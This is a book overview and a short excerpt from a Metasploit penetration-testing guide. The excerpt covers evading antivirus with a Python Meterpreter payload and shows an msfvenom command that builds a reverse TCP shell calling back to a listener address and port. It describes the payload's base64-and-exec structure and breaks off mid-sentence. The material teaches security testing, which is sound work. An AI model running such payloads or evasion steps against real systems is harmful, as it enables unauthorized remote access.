Mastering Metasploit - Fourth Edition

By: Nipun Jaswal

Overview of this book

Updated for the latest version of Metasploit, this book will prepare you to face everyday cyberattacks by simulating real-world scenarios. Complete with step-by-step explanations of essential concepts and practical examples, Mastering Metasploit will help you gain insights into programming Metasploit modules and carrying out exploitation, as well as building and porting various kinds of exploits in Metasploit. Giving you the ability to perform tests on different services, including databases, IoT, and mobile, this Metasploit book will help you get to grips with real-world, sophisticated scenarios where performing penetration tests is a challenge. You'll then learn a variety of methods and techniques to evade security controls deployed at a target's endpoint. As you advance, you’ll script automated attacks using CORTANA and Armitage to aid penetration testing by developing virtual bots and discover how you can add custom functionalities in Armitage. Following real-world case studies, this book will take you on a journey through client-side attacks using Metasploit and various scripts built on the Metasploit 5.0 framework. By the end of the book, you’ll have developed the skills you need to work confidently with efficient exploitation techniques

Evading Meterpreter with Python

Python is handy for everyday tasks, including evading AVs. We can use Python's Meterpreter, which is offered by Metasploit, to build an executable. The first step is to generate a Python Meterpreter file by issuing the msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.204.143 LPORT=4444 -o meterpreter.py command, as follows:

Figure 9.18 – Generating Python payloads using msfvenom

We can see we have successfully created a Python Meterpreter file. Let's take a look at the contents of the file, as follows:

Figure 9.19 – Python backdoor generated by msfvenom

Well, the code is pretty compact. We can see a base64-encoded string, which, upon decoding, is passed to the exec function for execution. At this point, if we want to run this file, we can, and we will get a Meterpreter session with ease. However, the code is Python-dependent on the target. So, to generate something dependency...
